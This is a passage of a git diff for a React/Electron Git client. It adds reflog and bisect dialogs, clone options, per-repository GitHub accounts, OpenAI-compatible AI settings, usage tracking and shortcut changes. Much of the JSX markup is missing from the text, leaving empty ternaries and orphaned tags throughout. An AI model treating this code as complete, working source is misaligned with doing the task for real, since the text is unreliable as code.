stackParent = useAppStore((s) => s.stack.parents.at(-1)); + // A stacked branch's PR targets its parent branch, but only once that branch exists on the remote. + const [base, setBase] = useState(() => (stackParent && branches.some((b) => b.kind === 'remote' && b.name === `origin/${stackParent}`) ? stackParent : (defaultBranch ?? 'main'))); const [title, setTitle] = useState(() => commits[0]?.summary ?? head.replace(/[-_/]+/g, ' ')); const [body, setBody] = useState(''); const [draft, setDraft] = useState(false); @@ -190,6 +193,7 @@ export function CreatePullRequestDialog({ autoDraft }: { autoDraft?: boolean }): } setAiOrigin(true); setRestored(d.restored); + if (d.skipped.length) actions.showToast({ kind: 'info', title: 'Left out of the AI request', message: d.skipped.join('\n') }, 8000); }; const runDraft = async () => { @@ -255,7 +259,7 @@ export function CreatePullRequestDialog({ autoDraft }: { autoDraft?: boolean }): ) : null} - {drafting ? : } + {drafting ? : } @@ -288,7 +292,7 @@ export function CreatePullRequestDialog({ autoDraft }: { autoDraft?: boolean }):
{aiEnabled && !noticeSeen ? ( - Drafting sends the commit messages and diff of this branch to {settings?.ai.provider === 'claude-cli' ? 'Claude Code' : 'the Anthropic API'}. Do not draft from changes you are not allowed to share with that service. + Drafting sends the commit messages and diff of this branch to {aiProviderLabel(settings?.ai)}. Do not draft from changes you are not allowed to share with that service.
+ {pr.autoMerge ? ( + + ) : ( + + )} ) : null} @@ -433,6 +442,7 @@ export function PullRequestDetailsDialog({ pr: initial }: { pr: PullRequest }): ) : null} {pr.reviewDecision ? {pr.reviewDecision.toLowerCase().replace(/_/g, ' ')} : null} {pr.mergeable === 'CONFLICTING' ? conflicts : null} + {pr.autoMerge ? auto-merge on{pr.autoMerge.method ? ` (${pr.autoMerge.method})` : ''} : null} {pr.labels.map((l) => ( {l} ))} diff --git a/src/renderer/src/components/dialogs/ReflogDialogs.tsx b/src/renderer/src/components/dialogs/ReflogDialogs.tsx new file mode 100644 index 0000000..97eb5cd --- /dev/null +++ b/src/renderer/src/components/dialogs/ReflogDialogs.tsx @@ -0,0 +1,90 @@ +import React, { useEffect, useState } from 'react'; +import type { ReflogEntry } from '@shared/types'; +import { shortSha } from '@shared/util'; +import { errorMessage, invoke } from '../../api'; +import * as actions from '../../state/actions'; +import { restoreBranchTo, startBisect } from '../../state/reflog'; +import { closeDialog, openDialog, useAppStore } from '../../state/store'; +import { Badge, Button, Callout, Dialog, RelativeTime, Spinner, TextField, openContextMenu, type MenuItem } from '../ui'; + +/** Undo history: HEAD's reflog, with restore / branch / checkout per entry. */ +export function ReflogDialog(): React.JSX.Element { + const repo = useAppStore((s) => s.currentRepo); + const headSha = useAppStore((s) => s.status?.branch.sha ?? null); + const [entries, setEntries] = useState(null); + const [error, setError] = useState(null); + + useEffect(() => { + if (!repo) return; + invoke('repo.reflog', repo.path).then(setEntries, (err) => setError(errorMessage(err))); + }, [repo]); + + const label = (e: ReflogEntry) => `${e.action}${e.message ? `: ${e.message}` : ''}`; + const menu = (e: ReflogEntry): MenuItem[] => [ + { label: 'Restore branch to this point…', icon: 'undo', disabled: e.sha === headSha, onClick: () => restoreBranchTo(e.sha, label(e)) }, + { label: 'Create branch here…', icon: 'branch', onClick: () => openDialog({ kind: 'new-branch', startPoint: e.sha, startPointLabel: `${shortSha(e.sha)} ${label(e)}` }) }, + { label: 'Check out (detached)', onClick: () => void actions.checkoutCommit(e.sha), disabled: e.sha === headSha }, + ]; + + return ( + Close}> +

+ Every place HEAD has been, newest first. Restore a branch to an earlier point to undo a commit, amend, merge, rebase or reset; nothing is lost until git expires these entries. +

+ {error ? ( + {error} + ) : !entries ? ( +
+ Loading… +
+ ) : !entries.length ? ( +
This repository has no reflog entries yet.
+ ) : ( +
+ {entries.map((e) => ( +
openContextMenu(ev, menu(e))}> + + + {e.action} {e.message} {e.sha === headSha ? current : null} + + + · {shortSha(e.sha)} + + + +
+ ))} +
+ )} +
+ ); +} + +/** Asks for the known-good end after "mark bad" in History (the bad end is the commit that was right-clicked). */ +export function BisectStartDialog({ bad, badLabel }: { bad: string; badLabel: string }): React.JSX.Element { + const [good, setGood] = useState(''); + const value = good.trim(); + const valid = value !== '' && !value.startsWith('-'); + const submit = () => valid && void startBisect(bad, value); + return ( + + + + + } + > +

+ {badLabel} will be marked bad. Git then checks out commits between it and the last one you know was good, so you can test each and mark it good or bad. +

+
{ e.preventDefault(); submit(); }}> + setGood(e.target.value)} autoFocus spellCheck={false} placeholder="v1.2.0, a branch name or a commit hash" /> + +
+ ); +} diff --git a/src/renderer/src/components/dialogs/ReleaseNotesDialog.tsx b/src/renderer/src/components/dialogs/ReleaseNotesDialog.tsx index 9a1806b..e16d975 100644 --- a/src/renderer/src/components/dialogs/ReleaseNotesDialog.tsx +++ b/src/renderer/src/components/dialogs/ReleaseNotesDialog.tsx @@ -1,9 +1,10 @@ +import { aiProviderLabel } from '@shared/ai-model'; import React, { useEffect, useState } from 'react'; import type { ReleaseNotes, ReleaseNotesUnreferencedEntry, ReleaseRangeResult } from '@shared/types'; import { appendDraftFooter, RELEASE_NOTES_FOOTER, suggestNextPatchVersion } from '@shared/util'; import { errorInfo, errorMessage, invoke } from '../../api'; import * as actions from '../../state/actions'; -import { closeDialog, useAppStore } from '../../state/store'; +import { closeDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Button, Callout, Checkbox, Dialog, Spinner, TextField } from '../ui'; import { NOTICE_KEY } from './ReviewDialogs'; @@ -60,7 +61,7 @@ export function ReleaseNotesDialog({ fromTag }: { fromTag: string | null }): Rea const settings = useAppStore((s) => s.settings); const tools = useAppStore((s) => s.tools); const progress = useAppStore((s) => s.ai[PROGRESS_PATH]); - const aiEnabled = settings?.ai.provider !== 'disabled'; + const aiEnabled = useAiEnabled(); const signedIn = !!tools?.ghAccount; const [to, setTo] = useState('HEAD'); @@ -230,7 +231,7 @@ export function ReleaseNotesDialog({ fromTag }: { fromTag: string | null }): Rea width="xwide" footer={ <> - {generating ? : } + {generating ? : } @@ -274,7 +275,7 @@ export function ReleaseNotesDialog({ fromTag }: { fromTag: string | null }): Rea /> {aiEnabled && !notice ? ( - Generating sends the commit subjects, messages and {includePrs ? 'pull request titles' : 'a diff summary'} in this range to {settings?.ai.provider === 'claude-cli' ? 'Claude Code' : 'the Anthropic API'}. Turn off "Include pull request titles" to + Generating sends the commit subjects, messages and {includePrs ? 'pull request titles' : 'a diff summary'} in this range to {aiProviderLabel(settings?.ai)}. Turn off "Include pull request titles" to keep those out. ) : null} diff --git a/src/renderer/src/components/dialogs/RepoDialogs.tsx b/src/renderer/src/components/dialogs/RepoDialogs.tsx index 7e78923..a56f633 100644 --- a/src/renderer/src/components/dialogs/RepoDialogs.tsx +++ b/src/renderer/src/components/dialogs/RepoDialogs.tsx @@ -1,6 +1,6 @@ import React, { useEffect, useMemo, useState } from 'react'; import type { GitHubRepoSummary, RepositoryInfo } from '@shared/types'; -import { compareStrings } from '@shared/util'; +import { compareStrings, compareVersions } from '@shared/util'; import { errorMessage, invoke } from '../../api'; import * as actions from '../../state/actions'; import { closeDialog, openDialog, store, useAppStore, type RepoSettingsTab } from '../../state/store'; @@ -26,6 +26,14 @@ export function CloneDialog({ initialUrl }: { initialUrl?: string }): React.JSX. const [selected, setSelected] = useState(null); const [cloning, setCloning] = useState(false); const [error, setError] = useState(null); + const [depth, setDepth] = useState(''); + const [singleBranch, setSingleBranch] = useState(false); + const [blobless, setBlobless] = useState(false); + const [sparse, setSparse] = useState(''); + const gitVersion = useAppStore((s) => s.tools?.git.version ?? null); + // Cone-mode `sparse-checkout set` needs Git 2.35; an unknown version is given the benefit of the doubt. + const sparseUnsupported = !!gitVersion && compareVersions(gitVersion, '2.35.0') < 0; + const [submodules, setSubmodules] = useState(true); const progress = useAppStore((s) => Object.values(s.progress).find((p) => p.kind === 'clone') ?? null); const loadRepos = async () => { @@ -70,7 +78,8 @@ export function CloneDialog({ initialUrl }: { initialUrl?: string }): React.JSX. setCloning(true); setError(null); try { - const repo = await invoke('repos.clone', { url: effectiveUrl, directory: targetDir, branch: null }); + const depthValue = depth.trim() ? Number(depth) : null; + const repo = await invoke('repos.clone', { url: effectiveUrl, directory: targetDir, branch: null, depth: depthValue, singleBranch, blobless, sparse: sparse.split(/[\s,]+/).filter(Boolean), submodules }); closeDialog(); await actions.openRepository(repo); } catch (err) { @@ -147,6 +156,16 @@ export function CloneDialog({ initialUrl }: { initialUrl?: string }): React.JSX. setUrl(e.target.value)} autoFocus spellCheck={false} /> )} { setDirectory(e.target.value); setDirTouched(true); }} trailing={} spellCheck={false} /> +
+ Advanced options +
+ setDepth(e.target.value)} placeholder="Full history" /> + + + setSparse(e.target.value)} placeholder="src docs/guides" spellCheck={false} disabled={sparseUnsupported} /> + +
+
{error ? {error} : null} ); @@ -250,8 +269,8 @@ export function NewRepoDialog(): React.JSX.Element { // Add existing repository // --------------------------------------------------------------------------- -export function AddRepoDialog(): React.JSX.Element { - const [path, setPath] = useState(''); +export function AddRepoDialog({ initialPath }: { initialPath?: string }): React.JSX.Element { + const [path, setPath] = useState(initialPath ?? ''); const [isRepo, setIsRepo] = useState(null); const [busy, setBusy] = useState(false); useEffect(() => { @@ -425,15 +444,24 @@ export function PublishDialog(): React.JSX.Element { export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab }): React.JSX.Element { const repo = useAppStore((s) => s.currentRepo); + const allRepos = useAppStore((s) => s.repos); const remotes = useAppStore((s) => s.remotes); const [tab, setTab] = useState(initialTab ?? 'remote'); const origin = remotes.find((r) => r.name === 'origin'); const [remoteUrl, setRemoteUrl] = useState(origin?.fetchUrl ?? ''); const [ignore, setIgnore] = useState(null); const [alias, setAlias] = useState(repo?.alias ?? ''); + const [group, setGroup] = useState(repo?.group ?? ''); + const existingGroups = [...new Set(allRepos.flatMap((r) => (r.group ? [r.group] : [])))].sort(compareStrings); const [identity, setIdentity] = useState<{ useLocal: boolean; name: string; email: string; globalName: string; globalEmail: string } | null>(null); const [busy, setBusy] = useState(false); const [error, setError] = useState(null); + const ghAccounts = useAppStore((s) => s.tools?.ghAccounts ?? []); + const accountKey = (a: { host: string; login: string } | undefined | null) => (a ? `${a.host}/${a.login}` : ''); + const [accountChoice, setAccountChoice] = useState(accountKey(repo?.githubAccount)); + const accountHost = repo?.github?.host ?? null; + const accountOptions = ghAccounts.filter((a) => !accountHost || a.host === accountHost); + const activeForHost = ghAccounts.find((a) => a.active && (!accountHost || a.host === accountHost)); useEffect(() => { if (!repo) return; @@ -456,6 +484,11 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab else await invoke('repo.config.unsetLocalIdentity', repo.path); } await invoke('repos.setAlias', repo.id, alias.trim() || null); + if (group.trim() !== (repo.group ?? '')) await invoke('repos.setPrefs', repo.id, { group: group.trim() || null }); + if (accountChoice !== accountKey(repo.githubAccount)) { + const picked = accountOptions.find((a) => accountKey(a) === accountChoice) ?? repo.githubAccount; + await invoke('repos.setPrefs', repo.id, { githubAccount: accountChoice && picked ? { host: picked.host, login: picked.login } : null }); + } closeDialog(); await actions.refreshAll(); } catch (err) { @@ -479,9 +512,9 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab } >
- {(['remote', 'ignored', 'identity', 'alias'] as RepoSettingsTab[]).map((t) => ( + {(['remote', 'ignored', 'identity', 'account', 'alias'] as RepoSettingsTab[]).map((t) => ( ))}
@@ -533,7 +566,39 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab ) : null} ) : null} - {tab === 'alias' ? setAlias(e.target.value)} placeholder={repo?.name} /> : null} + {tab === 'account' ? ( + <> +
+ + + Pull requests, issues and every fetch, pull and push in this repository use this account instead of the active one. Remembered on this computer only; the token is never stored or exported. +
+ {ghAccounts.length < 2 ?

Add another account in Options → Accounts to choose between them.

: null} + {identity ? ( +

+ Commits here are authored as {identity.useLocal ? identity.name : identity.globalName || '(no name)'} <{identity.useLocal ? identity.email : identity.globalEmail || 'no email'}> ({identity.useLocal ? 'local Git config' : 'global Git config'}).{' '} + +

+ ) : null} + + ) : null} + {tab === 'alias' ? ( + <> + setAlias(e.target.value)} placeholder={repo?.name} /> + setGroup(e.target.value)} placeholder="e.g. Work, Clients, Experiments" list="repo-groups" maxLength={60} /> + + {existingGroups.map((g) => ( + + + ) : null} {error ? {error} : null} ); diff --git a/src/renderer/src/components/dialogs/ReviewDialogs.tsx b/src/renderer/src/components/dialogs/ReviewDialogs.tsx index 788b4c5..90966e6 100644 --- a/src/renderer/src/components/dialogs/ReviewDialogs.tsx +++ b/src/renderer/src/components/dialogs/ReviewDialogs.tsx @@ -1,3 +1,4 @@ +import { aiProviderLabel } from '@shared/ai-model'; import React, { useEffect, useMemo, useState } from 'react'; import type { ReviewFinding, ReviewSeverity, ReviewTarget } from '@shared/types'; import { errorMessage } from '../../api'; @@ -29,6 +30,7 @@ export function ReviewPreflightDialog({ target }: { target: ReviewTarget }): Rea }); useEffect(() => setDeselected(new Set()), [plan?.target.headSha]); + const aiSettings = useAppStore((s) => s.settings?.ai); const pending = plan?.files.filter((f) => f.status === 'pending') ?? []; const skipped = plan?.files.filter((f) => f.status === 'skipped') ?? []; const selected = pending.filter((f) => !deselected.has(f.file.path)); @@ -66,7 +68,7 @@ export function ReviewPreflightDialog({ target }: { target: ReviewTarget }): Rea

{!noticeSeen ? ( - The diff, pull request description and up to 400 lines of surrounding code per file are sent to {plan?.provider === 'claude-cli' ? 'Claude Code' : 'the Anthropic API'}. Do not review changes you are not allowed to share with that service. + The diff, pull request description and up to 400 lines of surrounding code per file are sent to {aiProviderLabel(aiSettings)}. Do not review changes you are not allowed to share with that service.
diff --git a/src/renderer/src/components/dialogs/ServerFolderPicker.tsx b/src/renderer/src/components/dialogs/ServerFolderPicker.tsx new file mode 100644 index 0000000..0be18ef --- /dev/null +++ b/src/renderer/src/components/dialogs/ServerFolderPicker.tsx @@ -0,0 +1,119 @@ +import React, { useEffect, useState } from 'react'; +import type { EventPayloads } from '@shared/ipc'; +import type { IpcResult } from '@shared/types'; +import { on } from '../../api'; +import { Button, Dialog, Icon, TextField } from '../ui'; + +type PickRequest = EventPayloads['server.pickDirectory']; + +interface Listing { + path: string | null; + parent: string | null; + entries: { name: string; path: string }[]; +} + +/** + * Folder picker for a server's filesystem, shown when the web bridge (a browser tab or a desktop client of a remote + * server) receives `app.chooseDirectory`. Mounted next to the current dialog rather than pushed onto the dialog + * stack, so the form that asked (Clone, Settings…) keeps its state underneath. + */ +export function ServerFolderPicker(): React.JSX.Element | null { + const [request, setRequest] = useState(null); + useEffect(() => on('server.pickDirectory', setRequest), []); + return request ? ( + { + request.done(path); + setRequest(null); + }} + /> + ) : null; +} + +function PickerDialog({ request, onDone }: { request: PickRequest; onDone: (path: string | null) => void }): React.JSX.Element { + const [listing, setListing] = useState(null); + const [typed, setTyped] = useState(''); + const [error, setError] = useState(''); + + /** Lists `path` (null: the allowed roots); on failure keeps the current listing and shows why. */ + const open = async (path: string | null): Promise => { + const res = (await window.gitgoodBridge.invokeRaw('app.listDir', path)) as IpcResult; + if (!res.ok) { + setError(res.error.message); + return null; + } + setError(''); + setListing(res.value); + setTyped(res.value.path ?? ''); + return res.value; + }; + useEffect(() => { + void open(null); + }, []); + + // A typed but not yet opened path is opened (and so validated and confined by the server) before it is selected. + const select = async () => { + const wanted = typed.trim(); + if (wanted && wanted !== listing?.path) { + const opened = await open(wanted); + if (opened) onDone(opened.path); + } else { + onDone(listing?.path ?? null); + } + }; + + const row = (key: string, label: string, target: string | null, folder = true) => ( +
void open(target)} + onKeyDown={(e) => { + if (e.key === 'Enter' || e.key === ' ') { + e.preventDefault(); + void open(target); + } + }} + > + {folder ? : null} + {label} +
+ ); + + return ( + onDone(null)} + footer={ + <> + + + + } + > + setTyped(e.target.value)} + onKeyDown={(e) => { + if (e.key === 'Enter') { + e.preventDefault(); + void open(typed.trim() || null); + } + }} + placeholder="Type a path and press Enter" + spellCheck={false} + autoFocus + error={error || undefined} + /> +
+ {listing && (listing.parent !== null || listing.path) ? row('up', '← Up', listing.parent, false) : null} + {listing?.entries.map((entry) => row(entry.path, entry.name, entry.path))} + {listing && !listing.entries.length ?
No subfolders
: null} +
+
+ ); +} diff --git a/src/renderer/src/components/dialogs/SettingsDialog.tsx b/src/renderer/src/components/dialogs/SettingsDialog.tsx index 80d7e75..8f21326 100644 --- a/src/renderer/src/components/dialogs/SettingsDialog.tsx +++ b/src/renderer/src/components/dialogs/SettingsDialog.tsx @@ -1,9 +1,11 @@ import React, { useEffect, useState } from 'react'; -import { watchedFolderLabel, type AppSettings, type FoundEditor, type FoundShell, type RepositoryScanProgress, type SigningConfig, type SigningConfigInfo, type SigningKey, type WatchedFolderProblem, type WatchedFolderStatus } from '@shared/types'; -import { errorMessage, invoke, isMac, modKey, on } from '../../api'; +import { watchedFolderLabel, type AiFeature, type AiUsageMonth, type AppSettings, type FoundEditor, type FoundShell, type RepositoryScanProgress, type SigningConfig, type SigningConfigInfo, type SigningKey, type WatchedFolderProblem, type WatchedFolderStatus } from '@shared/types'; +import { errorMessage, invoke, isMac, on, platform } from '../../api'; import * as actions from '../../state/actions'; import { closeDialog, openDialog, store, useAppStore, type SettingsTab } from '../../state/store'; -import { AGENT_PRESETS, agentTemplate, validateAgentTemplate } from '@shared/agent-presets'; +import { modelFor } from '@shared/ai-model'; +import { acceleratorFromEvent, findConflict, formatAccelerator, mergeShortcuts, setShortcut, SHORTCUT_CATEGORIES, SHORTCUTS, type ShortcutConflict, type ShortcutOverrides } from '@shared/shortcuts'; +import { AGENT_PRESETS, agentTemplate, quotingFor, validateAgentTemplate } from '@shared/agent-presets'; import { Avatar, Button, Callout, Checkbox, Dialog, FilterInput, Icon, Spinner, TextField, type IconName } from '../ui'; import { LinkifiedText } from './IssueDialogs'; import { SettingsSyncCard } from './SettingsSyncDialogs'; @@ -58,21 +60,37 @@ export function SettingsDialog({ tab: initialTab }: { tab?: SettingsTab }): Reac function AccountsTab(): React.JSX.Element { const tools = useAppStore((s) => s.tools); const account = tools?.ghAccount ?? null; - const [busy, setBusy] = useState(false); + const accounts = tools?.ghAccounts ?? []; + const [busy, setBusy] = useState(null); + const run = async (key: string, fn: () => Promise) => { + setBusy(key); + await fn(); + setBusy(null); + }; + const ghMissing = !!tools && !tools.gh.installed && !tools.gh.pending; return ( <> -

GitHub.com

+

GitHub accounts

{account ? ( <> -
- - - {account.name ?? account.login} - @{account.login} · {account.host} - - -
-

Token scopes: {account.scopes.join(', ') || 'unknown'} · Git protocol: {account.protocol ?? 'https'}

+ {accounts.map((a) => { + const key = `${a.host}/${a.login}`; + const profile = a.host === account.host && a.login === account.login ? account : null; + return ( +
+ + + {profile?.name ?? a.login} + @{a.login} · {a.host}{a.active ? ' · active' : ''} + Scopes: {a.scopes.join(', ') || 'unknown'} · Git protocol: {a.protocol ?? 'https'} + + {!a.active ? : null} + +
+ ); + })} + +

The active account is used for every repository unless you choose one for it in Repository settings → GitHub account.

{tools && !tools.credentialHelperConfigured ? ( Git is not configured to use the GitHub CLI for authentication, so pushes to private repositories may fail.{' '} @@ -85,8 +103,9 @@ function AccountsTab(): React.JSX.Element { ) : ( <>

Sign in to clone your repositories, open pull requests and push over HTTPS without managing tokens.

- - {tools && !tools.gh.installed ? Install the GitHub CLI first (see the Advanced tab). : null} + + {tools?.gh.pending ?

Checking for the GitHub CLI…

: null} + {ghMissing ? Install the GitHub CLI first (see the Advanced tab). : null} {tools?.ghAuthError ? {tools.ghAuthError} : null} )} @@ -217,6 +236,7 @@ function GitTab({ settings, update }: { settings: AppSettings; update: (p: Parti

History

update({ historyVerifySignatures: v })} label="Verify commit signatures in History (shown as badges; slower on large histories)" /> + update({ historyGraph: v })} label="Show the commit graph in History (branch lanes; hidden while searching or filtering)" /> ); @@ -666,8 +686,9 @@ function PostResolveCheckSettings({ ai, updateAi }: { ai: AppSettings['ai']; upd variant="link" onClick={async () => { if (!repo) return; - await invoke('repo.trustConfig', repo.path, true); - setRepoConfig({ ...repoConfig, trustState: 'trusted' }); + const result = await invoke('repo.trustConfig', repo.path, true, repoConfig.command); + // Refused: the file changed since it was displayed. Show the new command and let the user decide again. + setRepoConfig(result.ok ? { ...repoConfig, trustState: 'trusted' } : await invoke('repo.checkConfig', repo.path)); }} > Trust it now @@ -682,18 +703,86 @@ function PostResolveCheckSettings({ ai, updateAi }: { ai: AppSettings['ai']; upd ); } +const AI_FEATURE_LABELS: Record = { + resolver: 'Conflict resolution', + commitMessage: 'Commit messages', + review: 'Code review', + split: 'Commit splitting', + triage: 'Pull request triage', + prDraft: 'Pull request drafts', + rebase: 'Rebase plans', + releaseNotes: 'Release notes', + explain: 'Diff explanations', + errorExplain: 'Error explanations', + nlPalette: 'Command palette', +}; + +/** This month's and last month's AI usage per feature, from the machine-local usage log. Cost is shown only when the backend reports it. */ +function AiUsageSection(): React.JSX.Element { + const [months, setMonths] = useState(null); + useEffect(() => { + void invoke('ai.usage.get').then(setMonths).catch(() => setMonths([])); + }, []); + const n = (v: number) => v.toLocaleString(); + return ( + <> +

Usage

+ {(months ?? []).map((m, i) => { + const rows = (Object.entries(m.features) as [AiFeature, NonNullable][]).sort((a, b) => b[1].requests - a[1].requests); + return ( +
+ {i === 0 ? 'This month' : 'Last month'} ({m.month}) + {rows.length ? ( + + + + + + + + + + + + + {rows.map(([feature, t]) => ( + + + + + + + + + ))} + +
FeatureRequestsInputOutputCache readsCost
{AI_FEATURE_LABELS[feature] ?? feature}{n(t.requests)}{n(t.inputTokens)}{n(t.outputTokens)}{n(t.cacheReadTokens)}{t.costUsd === null ? '—' : `$${t.costUsd.toFixed(2)}`}
+ ) : ( +

No AI requests.

+ )} +
+ ); + })} +

Token counts are what the provider reports; cost appears only when the backend reports it (Claude Code does, the API does not). Kept on this machine only; not exported or synced.

+ + ); +} + function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partial) => void }): React.JSX.Element { const tools = useAppStore((s) => s.tools); const errorFeedback = useAppStore((s) => s.aiErrorFeedback); const [key, setKey] = useState(''); const [savingKey, setSavingKey] = useState(false); + const [openaiKey, setOpenaiKey] = useState(''); + const [savingOpenaiKey, setSavingOpenaiKey] = useState(false); const [testing, setTesting] = useState(false); const [testResult, setTestResult] = useState<{ ok: boolean; message: string } | null>(null); const [customModel, setCustomModel] = useState(!MODELS.some((m) => m.id === settings.ai.model)); const [agentDraft, setAgentDraft] = useState(settings.ai.agentCustomCommand); const ai = settings.ai; const updateAi = (patch: Partial) => update({ ai: { ...ai, ...patch } }); - const agentDraftError = ai.agentCommand === 'custom' ? validateAgentTemplate(agentDraft) : null; + const agentQuoting = quotingFor(settings.shell, platform); + const agentDraftError = ai.agentCommand === 'custom' ? validateAgentTemplate(agentDraft, agentQuoting) : null; const saveKey = async () => { setSavingKey(true); try { @@ -706,15 +795,29 @@ function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partia setSavingKey(false); } }; + const saveOpenaiKey = async () => { + setSavingOpenaiKey(true); + try { + const next = await invoke('app.setOpenaiApiKey', openaiKey.trim() || null); + store.set((s) => (s.settings ? { settings: { ...s.settings, ai: next } } : {})); + setOpenaiKey(''); + } catch (err) { + actions.showError('Could not save API key', err); + } finally { + setSavingOpenaiKey(false); + } + }; return ( <>

AI conflict resolution

One click asks Claude to reconcile both sides of every conflict block in a file. Only the conflicted regions, some surrounding context and the commit subjects on each side are sent. Results are written to the file and can be undone.

+

Files that look like secrets (.env, private keys, certificates, .netrc, credentials*.json, …) are never sent to any provider, and known token patterns are masked in the text the read-only features send. Individual repositories can opt out from the repository list menu, or with {'{ "ai": false }'} in .gitgood/config.json.

@@ -730,6 +833,19 @@ function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partia

) : null} + {ai.provider === 'openai-compatible' ? ( + <> + updateAi({ openaiBaseUrl: e.target.value.trim() })} /> +
+ + setOpenaiKey(e.target.value)} spellCheck={false} autoComplete="off" /> + +
+

+ Stored encrypted with the operating system's credential store like the Anthropic key, sent only to the base URL above, and never exported or synced. Changing the base URL through a settings import removes the stored key. Requests ask for strict JSON-schema output and fall back to plain JSON mode when the server does not support it. +

+ + ) : null} {ai.provider === 'claude-cli' ? ( {tools?.claudeCli.installed ? `Claude Code ${tools.claudeCli.version ?? ''} found at ${tools.claudeCli.path}. Requests use its sign-in and plan.` : 'Claude Code CLI was not found on this machine. Install it (npm install -g @anthropic-ai/claude-code) and sign in, or set its path under Advanced.'} @@ -739,7 +855,9 @@ function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partia <>
- {customModel ? ( + {ai.provider === 'openai-compatible' ? ( + updateAi({ openaiModel: e.target.value.trim() })} spellCheck={false} /> + ) : customModel ? ( updateAi({ model: e.target.value })} spellCheck={false} /> ) : (
+
+ Model per feature{Object.values(ai.featureModels ?? {}).some(Boolean) ? ' (customised)' : ''} +

Leave a field empty to use the model above. A cheaper model for commit messages and triage, a stronger one for review, for example.

+ {(Object.keys(AI_FEATURE_LABELS) as AiFeature[]).map((f) => ( +
+ + { + const { [f]: _removed, ...rest } = ai.featureModels ?? {}; + updateAi({ featureModels: e.target.value.trim() ? { ...rest, [f]: e.target.value.trim() } : rest }); + }} + /> +
+ ))} +
updateAi({ autoStageAfterResolve: v })} label="Mark files as resolved automatically after a successful AI resolution" />

Pull request review

@@ -810,7 +947,7 @@ function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partia onChange={(e) => { const v = e.target.value; setAgentDraft(v); - if (!validateAgentTemplate(v)) updateAi({ agentCustomCommand: v }); + if (!validateAgentTemplate(v, agentQuoting)) updateAi({ agentCustomCommand: v }); }} /> ) : null} @@ -831,6 +968,7 @@ function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partia {testResult ? {testResult.message} : null} {ai.provider === 'anthropic' && /claude-(opus-5|fable)/.test(ai.model) ?

Server-side refusal fallback is enabled: if a safety classifier declines a request, the API retries it on a fallback model automatically.

: null} + ) : null} @@ -843,7 +981,7 @@ function AdvancedTab({ settings, update }: { settings: AppSettings; update: (p: useEffect(() => { void invoke('app.info').then(setInfo); }, []); - const row = (label: string, tool: { installed: boolean; version: string | null; path: string | null; error: string | null } | undefined, key: 'gitPath' | 'ghPath' | 'claudeCliPath', install: string) => ( + const row = (label: string, tool: { installed: boolean; version: string | null; path: string | null; error: string | null; pending?: boolean } | undefined, key: 'gitPath' | 'ghPath' | 'claudeCliPath', install: string) => (
@@ -855,7 +993,7 @@ function AdvancedTab({ settings, update }: { settings: AppSettings; update: (p: (key === 'claudeCliPath' ? update({ ai: { ...settings.ai, claudeCliPath: e.target.value || null } }) : update({ [key]: e.target.value || null }))} spellCheck={false} />
- {!tool?.installed ? Install: {install} : null} + {!tool?.installed && !tool?.pending ? Install: {install} : null}
); return ( @@ -878,7 +1016,7 @@ function AdvancedTab({ settings, update }: { settings: AppSettings; update: (p:

Portable settings

-

Carry your preferences, repository list and integration choices to another machine, as a file or through a secret GitHub gist. Never includes your API key, saved credentials, tool paths or window position.

+

Carry your preferences, repository list and integration choices to another machine, as a file or through a secret GitHub gist. Never includes your API key, saved credentials, custom agent command, tool paths or window position.

@@ -908,7 +1046,7 @@ function AdvancedTab({ settings, update }: { settings: AppSettings; update: (p: ·

) : null} -

Keyboard shortcuts: {modKey}+/

+

Keyboard shortcuts: {formatAccelerator(mergeShortcuts(settings.shortcuts)['keyboard-shortcuts'] ?? '', isMac) || 'unassigned'}

); } @@ -985,53 +1123,96 @@ export function UpdateNotesDialog({ version, notes, url }: { version: string; no } export function ShortcutsDialog(): React.JSX.Element { - const m = modKey; - const categories = ['Navigation', 'Editing', 'AI', 'Git ops', 'View'] as const; - type ShortcutCategory = (typeof categories)[number]; - const rows: { category: ShortcutCategory; label: string; keys: string }[] = [ - { category: 'Git ops', label: 'New repository', keys: `${m}+N` }, - { category: 'Git ops', label: 'Add local repository', keys: `${m}+O` }, - { category: 'Git ops', label: 'Clone repository', keys: `${m}+Shift+O` }, - { category: 'View', label: 'Options', keys: `${m}+,` }, - { category: 'AI', label: 'Ask GitGood (command palette)', keys: `${m}+K` }, - { category: 'Navigation', label: 'Show Changes', keys: `${m}+1` }, - { category: 'Navigation', label: 'Show History', keys: `${m}+2` }, - { category: 'Navigation', label: 'Show Stashes', keys: `${m}+Shift+S` }, - { category: 'Navigation', label: 'Repository health', keys: `${m}+Shift+K` }, - { category: 'Navigation', label: 'Repository list', keys: `${m}+T` }, - { category: 'Navigation', label: 'Branch list', keys: `${m}+B` }, - { category: 'Navigation', label: 'Notifications inbox', keys: `${m}+Shift+J` }, - { category: 'Navigation', label: 'Go to commit summary', keys: `${m}+G` }, - { category: 'Editing', label: 'Commit', keys: `${m}+Enter` }, - { category: 'View', label: 'Toggle split diff', keys: `${m}+Shift+D` }, - { category: 'View', label: 'Toggle blame', keys: 'Alt+B' }, - { category: 'Git ops', label: 'Push', keys: `${m}+P` }, - { category: 'Git ops', label: 'Pull', keys: `${m}+Shift+P` }, - { category: 'Git ops', label: 'Fetch', keys: `${m}+Shift+T` }, - { category: 'Git ops', label: 'New branch', keys: `${m}+Shift+N` }, - { category: 'Git ops', label: 'Merge into current branch', keys: `${m}+Shift+M` }, - { category: 'Git ops', label: 'Rebase current branch', keys: `${m}+Shift+E` }, - { category: 'Git ops', label: 'Update from default branch', keys: `${m}+Shift+U` }, - { category: 'Git ops', label: 'Create pull request', keys: `${m}+R` }, - { category: 'AI', label: 'Review pull request with AI', keys: `${m}+Shift+R` }, - { category: 'Git ops', label: 'View on GitHub', keys: `${m}+Shift+G` }, - { category: 'Navigation', label: 'Open in terminal', keys: 'Ctrl+`' }, - { category: 'Navigation', label: 'Show in folder', keys: `${m}+Shift+F` }, - { category: 'Navigation', label: 'Open in external editor', keys: 